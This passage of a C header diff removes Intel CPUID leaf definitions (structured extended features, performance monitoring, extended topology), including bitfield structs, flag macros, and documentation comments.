CPUID_ECX_PERFORMANCE_ENERGY_BIAS_PREFERENCE_FLAG 0x08 -#define CPUID_ECX_PERFORMANCE_ENERGY_BIAS_PREFERENCE_MASK 0x01 -#define CPUID_ECX_PERFORMANCE_ENERGY_BIAS_PREFERENCE(_) (((_) >> 3) & 0x01) - uint32_t reserved2 : 28; - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_06; - - -/** - * @brief Structured Extended Feature Flags Enumeration Leaf (Output depends on ECX input value) - * - * When CPUID executes with EAX set to 07H and ECX = 0, the processor returns information about the maximum input value for - * sub-leaves that contain extended feature flags. - * When CPUID executes with EAX set to 07H and the input value of ECX is invalid (see leaf 07H entry in Table 3-8), the - * processor returns 0 in EAX/EBX/ECX/EDX. In subleaf 0, EAX returns the maximum input value of the highest leaf 7 - * sub-leaf, and EBX, ECX & EDX contain information of extended feature flags. - */ -#define CPUID_STRUCTURED_EXTENDED_FEATURE_FLAGS 0x00000007 -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Reports the maximum input value for supported leaf 7 sub-leaves. - */ - uint32_t number_of_sub_leaves : 32; -#define CPUID_EAX_NUMBER_OF_SUB_LEAVES_BIT 0 -#define CPUID_EAX_NUMBER_OF_SUB_LEAVES_FLAG 0xFFFFFFFF -#define CPUID_EAX_NUMBER_OF_SUB_LEAVES_MASK 0xFFFFFFFF -#define CPUID_EAX_NUMBER_OF_SUB_LEAVES(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bit 0] Supports RDFSBASE/RDGSBASE/WRFSBASE/WRGSBASE if 1. - */ - uint32_t fsgsbase : 1; -#define CPUID_EBX_FSGSBASE_BIT 0 -#define CPUID_EBX_FSGSBASE_FLAG 0x01 -#define CPUID_EBX_FSGSBASE_MASK 0x01 -#define CPUID_EBX_FSGSBASE(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] IA32_TSC_ADJUST MSR is supported if 1. - */ - uint32_t ia32_tsc_adjust_msr : 1; -#define CPUID_EBX_IA32_TSC_ADJUST_MSR_BIT 1 -#define CPUID_EBX_IA32_TSC_ADJUST_MSR_FLAG 0x02 -#define CPUID_EBX_IA32_TSC_ADJUST_MSR_MASK 0x01 -#define CPUID_EBX_IA32_TSC_ADJUST_MSR(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Supports Intel(R) Software Guard Extensions (Intel(R) SGX Extensions) if 1. - */ - uint32_t sgx : 1; -#define CPUID_EBX_SGX_BIT 2 -#define CPUID_EBX_SGX_FLAG 0x04 -#define CPUID_EBX_SGX_MASK 0x01 -#define CPUID_EBX_SGX(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] BMI1. - */ - uint32_t bmi1 : 1; -#define CPUID_EBX_BMI1_BIT 3 -#define CPUID_EBX_BMI1_FLAG 0x08 -#define CPUID_EBX_BMI1_MASK 0x01 -#define CPUID_EBX_BMI1(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] HLE. - */ - uint32_t hle : 1; -#define CPUID_EBX_HLE_BIT 4 -#define CPUID_EBX_HLE_FLAG 0x10 -#define CPUID_EBX_HLE_MASK 0x01 -#define CPUID_EBX_HLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] AVX2. - */ - uint32_t avx2 : 1; -#define CPUID_EBX_AVX2_BIT 5 -#define CPUID_EBX_AVX2_FLAG 0x20 -#define CPUID_EBX_AVX2_MASK 0x01 -#define CPUID_EBX_AVX2(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] x87 FPU Data Pointer updated only on x87 exceptions if 1. - */ - uint32_t fdp_excptn_only : 1; -#define CPUID_EBX_FDP_EXCPTN_ONLY_BIT 6 -#define CPUID_EBX_FDP_EXCPTN_ONLY_FLAG 0x40 -#define CPUID_EBX_FDP_EXCPTN_ONLY_MASK 0x01 -#define CPUID_EBX_FDP_EXCPTN_ONLY(_) (((_) >> 6) & 0x01) - - /** - * [Bit 7] Supports Supervisor-Mode Execution Prevention if 1. - */ - uint32_t smep : 1; -#define CPUID_EBX_SMEP_BIT 7 -#define CPUID_EBX_SMEP_FLAG 0x80 -#define CPUID_EBX_SMEP_MASK 0x01 -#define CPUID_EBX_SMEP(_) (((_) >> 7) & 0x01) - - /** - * [Bit 8] BMI2. - */ - uint32_t bmi2 : 1; -#define CPUID_EBX_BMI2_BIT 8 -#define CPUID_EBX_BMI2_FLAG 0x100 -#define CPUID_EBX_BMI2_MASK 0x01 -#define CPUID_EBX_BMI2(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] Supports Enhanced REP MOVSB/STOSB if 1. - */ - uint32_t enhanced_rep_movsb_stosb : 1; -#define CPUID_EBX_ENHANCED_REP_MOVSB_STOSB_BIT 9 -#define CPUID_EBX_ENHANCED_REP_MOVSB_STOSB_FLAG 0x200 -#define CPUID_EBX_ENHANCED_REP_MOVSB_STOSB_MASK 0x01 -#define CPUID_EBX_ENHANCED_REP_MOVSB_STOSB(_) (((_) >> 9) & 0x01) - - /** - * [Bit 10] If 1, supports INVPCID instruction for system software that manages process-context identifiers. - */ - uint32_t invpcid : 1; -#define CPUID_EBX_INVPCID_BIT 10 -#define CPUID_EBX_INVPCID_FLAG 0x400 -#define CPUID_EBX_INVPCID_MASK 0x01 -#define CPUID_EBX_INVPCID(_) (((_) >> 10) & 0x01) - - /** - * [Bit 11] RTM. - */ - uint32_t rtm : 1; -#define CPUID_EBX_RTM_BIT 11 -#define CPUID_EBX_RTM_FLAG 0x800 -#define CPUID_EBX_RTM_MASK 0x01 -#define CPUID_EBX_RTM(_) (((_) >> 11) & 0x01) - - /** - * [Bit 12] Supports Intel(R) Resource Director Technology (Intel(R) RDT) Monitoring capability if 1. - */ - uint32_t rdt_m : 1; -#define CPUID_EBX_RDT_M_BIT 12 -#define CPUID_EBX_RDT_M_FLAG 0x1000 -#define CPUID_EBX_RDT_M_MASK 0x01 -#define CPUID_EBX_RDT_M(_) (((_) >> 12) & 0x01) - - /** - * [Bit 13] Deprecates FPU CS and FPU DS values if 1. - */ - uint32_t deprecates : 1; -#define CPUID_EBX_DEPRECATES_BIT 13 -#define CPUID_EBX_DEPRECATES_FLAG 0x2000 -#define CPUID_EBX_DEPRECATES_MASK 0x01 -#define CPUID_EBX_DEPRECATES(_) (((_) >> 13) & 0x01) - - /** - * [Bit 14] Supports Intel(R) Memory Protection Extensions if 1. - */ - uint32_t mpx : 1; -#define CPUID_EBX_MPX_BIT 14 -#define CPUID_EBX_MPX_FLAG 0x4000 -#define CPUID_EBX_MPX_MASK 0x01 -#define CPUID_EBX_MPX(_) (((_) >> 14) & 0x01) - - /** - * [Bit 15] Supports Intel(R) Resource Director Technology (Intel(R) RDT) Allocation capability if 1. - */ - uint32_t rdt : 1; -#define CPUID_EBX_RDT_BIT 15 -#define CPUID_EBX_RDT_FLAG 0x8000 -#define CPUID_EBX_RDT_MASK 0x01 -#define CPUID_EBX_RDT(_) (((_) >> 15) & 0x01) - - /** - * [Bit 16] AVX512F. - */ - uint32_t avx512f : 1; -#define CPUID_EBX_AVX512F_BIT 16 -#define CPUID_EBX_AVX512F_FLAG 0x10000 -#define CPUID_EBX_AVX512F_MASK 0x01 -#define CPUID_EBX_AVX512F(_) (((_) >> 16) & 0x01) - - /** - * [Bit 17] AVX512DQ. - */ - uint32_t avx512dq : 1; -#define CPUID_EBX_AVX512DQ_BIT 17 -#define CPUID_EBX_AVX512DQ_FLAG 0x20000 -#define CPUID_EBX_AVX512DQ_MASK 0x01 -#define CPUID_EBX_AVX512DQ(_) (((_) >> 17) & 0x01) - - /** - * [Bit 18] RDSEED. - */ - uint32_t rdseed : 1; -#define CPUID_EBX_RDSEED_BIT 18 -#define CPUID_EBX_RDSEED_FLAG 0x40000 -#define CPUID_EBX_RDSEED_MASK 0x01 -#define CPUID_EBX_RDSEED(_) (((_) >> 18) & 0x01) - - /** - * [Bit 19] ADX. - */ - uint32_t adx : 1; -#define CPUID_EBX_ADX_BIT 19 -#define CPUID_EBX_ADX_FLAG 0x80000 -#define CPUID_EBX_ADX_MASK 0x01 -#define CPUID_EBX_ADX(_) (((_) >> 19) & 0x01) - - /** - * [Bit 20] Supports Supervisor-Mode Access Prevention (and the CLAC/STAC instructions) if 1. - */ - uint32_t smap : 1; -#define CPUID_EBX_SMAP_BIT 20 -#define CPUID_EBX_SMAP_FLAG 0x100000 -#define CPUID_EBX_SMAP_MASK 0x01 -#define CPUID_EBX_SMAP(_) (((_) >> 20) & 0x01) - - /** - * [Bit 21] AVX512_IFMA. - */ - uint32_t avx512_ifma : 1; -#define CPUID_EBX_AVX512_IFMA_BIT 21 -#define CPUID_EBX_AVX512_IFMA_FLAG 0x200000 -#define CPUID_EBX_AVX512_IFMA_MASK 0x01 -#define CPUID_EBX_AVX512_IFMA(_) (((_) >> 21) & 0x01) - uint32_t reserved1 : 1; - - /** - * [Bit 23] CLFLUSHOPT. - */ - uint32_t clflushopt : 1; -#define CPUID_EBX_CLFLUSHOPT_BIT 23 -#define CPUID_EBX_CLFLUSHOPT_FLAG 0x800000 -#define CPUID_EBX_CLFLUSHOPT_MASK 0x01 -#define CPUID_EBX_CLFLUSHOPT(_) (((_) >> 23) & 0x01) - - /** - * [Bit 24] CLWB. - */ - uint32_t clwb : 1; -#define CPUID_EBX_CLWB_BIT 24 -#define CPUID_EBX_CLWB_FLAG 0x1000000 -#define CPUID_EBX_CLWB_MASK 0x01 -#define CPUID_EBX_CLWB(_) (((_) >> 24) & 0x01) - - /** - * [Bit 25] Intel Processor Trace. - */ - uint32_t intel : 1; -#define CPUID_EBX_INTEL_BIT 25 -#define CPUID_EBX_INTEL_FLAG 0x2000000 -#define CPUID_EBX_INTEL_MASK 0x01 -#define CPUID_EBX_INTEL(_) (((_) >> 25) & 0x01) - - /** - * [Bit 26] (Intel(R) Xeon Phi(TM) only). - */ - uint32_t avx512pf : 1; -#define CPUID_EBX_AVX512PF_BIT 26 -#define CPUID_EBX_AVX512PF_FLAG 0x4000000 -#define CPUID_EBX_AVX512PF_MASK 0x01 -#define CPUID_EBX_AVX512PF(_) (((_) >> 26) & 0x01) - - /** - * [Bit 27] (Intel(R) Xeon Phi(TM) only). - */ - uint32_t avx512er : 1; -#define CPUID_EBX_AVX512ER_BIT 27 -#define CPUID_EBX_AVX512ER_FLAG 0x8000000 -#define CPUID_EBX_AVX512ER_MASK 0x01 -#define CPUID_EBX_AVX512ER(_) (((_) >> 27) & 0x01) - - /** - * [Bit 28] AVX512CD. - */ - uint32_t avx512cd : 1; -#define CPUID_EBX_AVX512CD_BIT 28 -#define CPUID_EBX_AVX512CD_FLAG 0x10000000 -#define CPUID_EBX_AVX512CD_MASK 0x01 -#define CPUID_EBX_AVX512CD(_) (((_) >> 28) & 0x01) - - /** - * [Bit 29] Supports Intel(R) Secure Hash Algorithm Extensions (Intel(R) SHA Extensions) if 1. - */ - uint32_t sha : 1; -#define CPUID_EBX_SHA_BIT 29 -#define CPUID_EBX_SHA_FLAG 0x20000000 -#define CPUID_EBX_SHA_MASK 0x01 -#define CPUID_EBX_SHA(_) (((_) >> 29) & 0x01) - - /** - * [Bit 30] AVX512BW. - */ - uint32_t avx512bw : 1; -#define CPUID_EBX_AVX512BW_BIT 30 -#define CPUID_EBX_AVX512BW_FLAG 0x40000000 -#define CPUID_EBX_AVX512BW_MASK 0x01 -#define CPUID_EBX_AVX512BW(_) (((_) >> 30) & 0x01) - - /** - * [Bit 31] AVX512VL. - */ - uint32_t avx512vl : 1; -#define CPUID_EBX_AVX512VL_BIT 31 -#define CPUID_EBX_AVX512VL_FLAG 0x80000000 -#define CPUID_EBX_AVX512VL_MASK 0x01 -#define CPUID_EBX_AVX512VL(_) (((_) >> 31) & 0x01) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bit 0] (Intel(R) Xeon Phi(TM) only). - */ - uint32_t prefetchwt1 : 1; -#define CPUID_ECX_PREFETCHWT1_BIT 0 -#define CPUID_ECX_PREFETCHWT1_FLAG 0x01 -#define CPUID_ECX_PREFETCHWT1_MASK 0x01 -#define CPUID_ECX_PREFETCHWT1(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] AVX512_VBMI. - */ - uint32_t avx512_vbmi : 1; -#define CPUID_ECX_AVX512_VBMI_BIT 1 -#define CPUID_ECX_AVX512_VBMI_FLAG 0x02 -#define CPUID_ECX_AVX512_VBMI_MASK 0x01 -#define CPUID_ECX_AVX512_VBMI(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Supports user-mode instruction prevention if 1. - */ - uint32_t umip : 1; -#define CPUID_ECX_UMIP_BIT 2 -#define CPUID_ECX_UMIP_FLAG 0x04 -#define CPUID_ECX_UMIP_MASK 0x01 -#define CPUID_ECX_UMIP(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Supports protection keys for user-mode pages if 1. - */ - uint32_t pku : 1; -#define CPUID_ECX_PKU_BIT 3 -#define CPUID_ECX_PKU_FLAG 0x08 -#define CPUID_ECX_PKU_MASK 0x01 -#define CPUID_ECX_PKU(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] If 1, OS has set CR4.PKE to enable protection keys (and the RDPKRU/WRPKRU instructions). - */ - uint32_t ospke : 1; -#define CPUID_ECX_OSPKE_BIT 4 -#define CPUID_ECX_OSPKE_FLAG 0x10 -#define CPUID_ECX_OSPKE_MASK 0x01 -#define CPUID_ECX_OSPKE(_) (((_) >> 4) & 0x01) - uint32_t reserved1 : 12; - - /** - * [Bits 21:17] The value of MAWAU used by the BNDLDX and BNDSTX instructions in 64-bit mode. - */ - uint32_t mawau : 5; -#define CPUID_ECX_MAWAU_BIT 17 -#define CPUID_ECX_MAWAU_FLAG 0x3E0000 -#define CPUID_ECX_MAWAU_MASK 0x1F -#define CPUID_ECX_MAWAU(_) (((_) >> 17) & 0x1F) - - /** - * [Bit 22] RDPID and IA32_TSC_AUX are available if 1. - */ - uint32_t rdpid : 1; -#define CPUID_ECX_RDPID_BIT 22 -#define CPUID_ECX_RDPID_FLAG 0x400000 -#define CPUID_ECX_RDPID_MASK 0x01 -#define CPUID_ECX_RDPID(_) (((_) >> 22) & 0x01) - uint32_t reserved2 : 7; - - /** - * [Bit 30] Supports SGX Launch Configuration if 1. - */ - uint32_t sgx_lc : 1; -#define CPUID_ECX_SGX_LC_BIT 30 -#define CPUID_ECX_SGX_LC_FLAG 0x40000000 -#define CPUID_ECX_SGX_LC_MASK 0x01 -#define CPUID_ECX_SGX_LC(_) (((_) >> 30) & 0x01) - uint32_t reserved3 : 1; - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_07; - - -/** - * @brief Direct Cache Access Information Leaf - * - * When CPUID executes with EAX set to 09H, the processor returns information about Direct Cache Access capabilities. - */ -#define CPUID_DIRECT_CACHE_ACCESS_INFORMATION 0x00000009 -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Value of bits [31:0] of IA32_PLATFORM_DCA_CAP MSR (address 1F8H). - */ - uint32_t ia32_platform_dca_cap : 32; -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_BIT 0 -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_FLAG 0xFFFFFFFF -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_MASK 0xFFFFFFFF -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] EBX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EBX_RESERVED_BIT 0 -#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] ECX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_ECX_RESERVED_BIT 0 -#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_09; - - -/** - * @brief Architectural Performance Monitoring Leaf - * - * When CPUID executes with EAX set to 0AH, the processor returns information about support for architectural performance - * monitoring capabilities. Architectural performance monitoring is supported if the version ID is greater than Pn 0. For - * each version of architectural performance monitoring capability, software must enumerate this leaf to discover the - * programming facilities and the architectural performance events available in the processor. - * - * @see Vol3C[23(Introduction to Virtual-Machine Extensions)] - */ -#define CPUID_ARCHITECTURAL_PERFORMANCE_MONITORING 0x0000000A -typedef struct -{ - union - { - struct - { - /** - * [Bits 7:0] Version ID of architectural performance monitoring. - */ - uint32_t version_id_of_architectural_performance_monitoring : 8; -#define CPUID_EAX_VERSION_ID_OF_ARCHITECTURAL_PERFORMANCE_MONITORING_BIT 0 -#define CPUID_EAX_VERSION_ID_OF_ARCHITECTURAL_PERFORMANCE_MONITORING_FLAG 0xFF -#define CPUID_EAX_VERSION_ID_OF_ARCHITECTURAL_PERFORMANCE_MONITORING_MASK 0xFF -#define CPUID_EAX_VERSION_ID_OF_ARCHITECTURAL_PERFORMANCE_MONITORING(_) (((_) >> 0) & 0xFF) - - /** - * [Bits 15:8] Number of general-purpose performance monitoring counter per logical processor. - */ - uint32_t number_of_performance_monitoring_counter_per_logical_processor : 8; -#define CPUID_EAX_NUMBER_OF_PERFORMANCE_MONITORING_COUNTER_PER_LOGICAL_PROCESSOR_BIT 8 -#define CPUID_EAX_NUMBER_OF_PERFORMANCE_MONITORING_COUNTER_PER_LOGICAL_PROCESSOR_FLAG 0xFF00 -#define CPUID_EAX_NUMBER_OF_PERFORMANCE_MONITORING_COUNTER_PER_LOGICAL_PROCESSOR_MASK 0xFF -#define CPUID_EAX_NUMBER_OF_PERFORMANCE_MONITORING_COUNTER_PER_LOGICAL_PROCESSOR(_) (((_) >> 8) & 0xFF) - - /** - * [Bits 23:16] Bit width of general-purpose, performance monitoring counter. - */ - uint32_t bit_width_of_performance_monitoring_counter : 8; -#define CPUID_EAX_BIT_WIDTH_OF_PERFORMANCE_MONITORING_COUNTER_BIT 16 -#define CPUID_EAX_BIT_WIDTH_OF_PERFORMANCE_MONITORING_COUNTER_FLAG 0xFF0000 -#define CPUID_EAX_BIT_WIDTH_OF_PERFORMANCE_MONITORING_COUNTER_MASK 0xFF -#define CPUID_EAX_BIT_WIDTH_OF_PERFORMANCE_MONITORING_COUNTER(_) (((_) >> 16) & 0xFF) - - /** - * [Bits 31:24] Length of EBX bit vector to enumerate architectural performance monitoring events. - */ - uint32_t ebx_bit_vector_length : 8; -#define CPUID_EAX_EBX_BIT_VECTOR_LENGTH_BIT 24 -#define CPUID_EAX_EBX_BIT_VECTOR_LENGTH_FLAG 0xFF000000 -#define CPUID_EAX_EBX_BIT_VECTOR_LENGTH_MASK 0xFF -#define CPUID_EAX_EBX_BIT_VECTOR_LENGTH(_) (((_) >> 24) & 0xFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bit 0] Core cycle event not available if 1. - */ - uint32_t core_cycle_event_not_available : 1; -#define CPUID_EBX_CORE_CYCLE_EVENT_NOT_AVAILABLE_BIT 0 -#define CPUID_EBX_CORE_CYCLE_EVENT_NOT_AVAILABLE_FLAG 0x01 -#define CPUID_EBX_CORE_CYCLE_EVENT_NOT_AVAILABLE_MASK 0x01 -#define CPUID_EBX_CORE_CYCLE_EVENT_NOT_AVAILABLE(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Instruction retired event not available if 1. - */ - uint32_t instruction_retired_event_not_available : 1; -#define CPUID_EBX_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_BIT 1 -#define CPUID_EBX_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_FLAG 0x02 -#define CPUID_EBX_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_MASK 0x01 -#define CPUID_EBX_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Reference cycles event not available if 1. - */ - uint32_t reference_cycles_event_not_available : 1; -#define CPUID_EBX_REFERENCE_CYCLES_EVENT_NOT_AVAILABLE_BIT 2 -#define CPUID_EBX_REFERENCE_CYCLES_EVENT_NOT_AVAILABLE_FLAG 0x04 -#define CPUID_EBX_REFERENCE_CYCLES_EVENT_NOT_AVAILABLE_MASK 0x01 -#define CPUID_EBX_REFERENCE_CYCLES_EVENT_NOT_AVAILABLE(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Last-level cache reference event not available if 1. - */ - uint32_t last_level_cache_reference_event_not_available : 1; -#define CPUID_EBX_LAST_LEVEL_CACHE_REFERENCE_EVENT_NOT_AVAILABLE_BIT 3 -#define CPUID_EBX_LAST_LEVEL_CACHE_REFERENCE_EVENT_NOT_AVAILABLE_FLAG 0x08 -#define CPUID_EBX_LAST_LEVEL_CACHE_REFERENCE_EVENT_NOT_AVAILABLE_MASK 0x01 -#define CPUID_EBX_LAST_LEVEL_CACHE_REFERENCE_EVENT_NOT_AVAILABLE(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Last-level cache misses event not available if 1. - */ - uint32_t last_level_cache_misses_event_not_available : 1; -#define CPUID_EBX_LAST_LEVEL_CACHE_MISSES_EVENT_NOT_AVAILABLE_BIT 4 -#define CPUID_EBX_LAST_LEVEL_CACHE_MISSES_EVENT_NOT_AVAILABLE_FLAG 0x10 -#define CPUID_EBX_LAST_LEVEL_CACHE_MISSES_EVENT_NOT_AVAILABLE_MASK 0x01 -#define CPUID_EBX_LAST_LEVEL_CACHE_MISSES_EVENT_NOT_AVAILABLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Branch instruction retired event not available if 1. - */ - uint32_t branch_instruction_retired_event_not_available : 1; -#define CPUID_EBX_BRANCH_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_BIT 5 -#define CPUID_EBX_BRANCH_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_FLAG 0x20 -#define CPUID_EBX_BRANCH_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_MASK 0x01 -#define CPUID_EBX_BRANCH_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] Branch mispredict retired event not available if 1. - */ - uint32_t branch_mispredict_retired_event_not_available : 1; -#define CPUID_EBX_BRANCH_MISPREDICT_RETIRED_EVENT_NOT_AVAILABLE_BIT 6 -#define CPUID_EBX_BRANCH_MISPREDICT_RETIRED_EVENT_NOT_AVAILABLE_FLAG 0x40 -#define CPUID_EBX_BRANCH_MISPREDICT_RETIRED_EVENT_NOT_AVAILABLE_MASK 0x01 -#define CPUID_EBX_BRANCH_MISPREDICT_RETIRED_EVENT_NOT_AVAILABLE(_) (((_) >> 6) & 0x01) - uint32_t reserved1 : 25; - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] ECX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_ECX_RESERVED_BIT 0 -#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 4:0] Number of fixed-function performance counters (if Version ID > 1). - */ - uint32_t number_of_fixed_function_performance_counters : 5; -#define CPUID_EDX_NUMBER_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_BIT 0 -#define CPUID_EDX_NUMBER_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_FLAG 0x1F -#define CPUID_EDX_NUMBER_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_MASK 0x1F -#define CPUID_EDX_NUMBER_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS(_) (((_) >> 0) & 0x1F) - - /** - * [Bits 12:5] Bit width of fixed-function performance counters (if Version ID > 1). - */ - uint32_t bit_width_of_fixed_function_performance_counters : 8; -#define CPUID_EDX_BIT_WIDTH_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_BIT 5 -#define CPUID_EDX_BIT_WIDTH_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_FLAG 0x1FE0 -#define CPUID_EDX_BIT_WIDTH_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_MASK 0xFF -#define CPUID_EDX_BIT_WIDTH_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS(_) (((_) >> 5) & 0xFF) - uint32_t reserved1 : 2; - - /** - * [Bit 15] AnyThread deprecation. - */ - uint32_t any_thread_deprecation : 1; -#define CPUID_EDX_ANY_THREAD_DEPRECATION_BIT 15 -#define CPUID_EDX_ANY_THREAD_DEPRECATION_FLAG 0x8000 -#define CPUID_EDX_ANY_THREAD_DEPRECATION_MASK 0x01 -#define CPUID_EDX_ANY_THREAD_DEPRECATION(_) (((_) >> 15) & 0x01) - uint32_t reserved2 : 16; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_0a; - - -/** - * @brief Extended Topology Enumeration Leaf - * - * When CPUID executes with EAX set to 0BH, the processor returns information about extended topology enumeration data. - * Software must detect the presence of CPUID leaf 0BH by verifying - * - the highest leaf index supported by CPUID is >= 0BH, and - * - CPUID.0BH:EBX[15:0] reports a non-zero value. - * - * @note Most of Leaf 0BH output depends on the initial value in ECX. The EDX output of leaf 0BH is always valid and does - * not vary with input value in ECX. Output value in ECX[7:0] always equals input value in ECX[7:0]. Sub-leaf index 0 - * enumerates SMT level. Each subsequent higher sub-leaf index enumerates a higherlevel topological entity in hierarchical - * order. For sub-leaves that return an invalid level-type of 0 in ECX[15:8]; EAX and EBX will return 0. If an input value - * n in ECX returns the invalid level-type of 0 in ECX[15:8], other input values with ECX > n also return 0 in ECX[15:8]. - */ -#define CPUID_EXTENDED_TOPOLOGY 0x0000000B -typedef struct -{ - union - { - struct - { - /** - * [Bits 4:0] Number of bits to shift right on x2APIC ID to get a unique topology ID of the next level type. All logical - * processors with the same next level ID share current level. - * - * @note Software should use this field (EAX[4:0]) to enumerate processor topology of the system. - */ - uint32_t x2apic_id_to_unique_topology_id_shift : 5; -#define CPUID_EAX_X2APIC_ID_TO_UNIQUE_TOPOLOGY_ID_SHIFT_BIT 0 -#define CPUID_EAX_X2APIC_ID_TO_UNIQUE_TOPOLOGY_ID_SHIFT_FLAG 0x1F -#define CPUID_EAX_X2APIC_ID_TO_UNIQUE_TOPOLOGY_ID_SHIFT_MASK 0x1F -#define CPUID_EAX_X2APIC_ID_TO_UNIQUE_TOPOLOGY_ID_SHIFT(_) (((_) >> 0) & 0x1F) - uint32_t reserved1 : 27; - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 15:0] Number of logical processors at this level type. The number reflects configuration as shipped by Intel. - * - * @note Software must not use EBX[15:0] to enumerate processor topology of the system. This value in this field - * (EBX[15:0]) is only intended for display/diagnostic purposes. The actual number of logical processors available to - * BIOS/OS/Applications may be different from the value of EBX[15:0], depending on software and platform hardware - * configurations. - */ - uint32_t number_of_logical_processors_at_this_level_type : 16; -#define CPUID_EBX_NUMBER_OF_LOGICAL_PROCESSORS_AT_THIS_LEVEL_TYPE_BIT 0 -#define CPUID_EBX_NUMBER_OF_LOGICAL_PROCESSORS_AT_THIS_LEVEL_TYPE_FLAG 0xFFFF -#define CPUID_EBX_NUMBER_OF_LOGICAL_PROCESSORS_AT_THIS_LEVEL_TYPE_MASK 0xFFFF -#define CPUID_EBX_NUMBER_OF_LOGICAL_PROCESSORS_AT_THIS_LEVEL_TYPE(_) (((_) >> 0) & 0xFFFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 7:0] Level number. Same value in ECX input. - */ - uint32_t level_number : 8; -#define CPUID_ECX_LEVEL_NUMBER_BIT 0 -#define CPUID_ECX_LEVEL_NUMBER_FLAG 0xFF -#define CPUID_ECX_LEVEL_NUMBER_MASK 0xFF -#define CPUID_ECX_LEVEL_NUMBER(_) (((_) >> 0) & 0xFF) - - /** - * [Bits 15:8] Level type. - * - * @note The value of the "level type" field is not related to level numbers in any way, higher "level type" values do not - * mean higher levels. Level type field has the following encoding: - * - 0: Invalid. - * - 1: SMT. - * - 2: Core. - * - 3-255: Reserved. - */ - uint32_t level_type : 8; 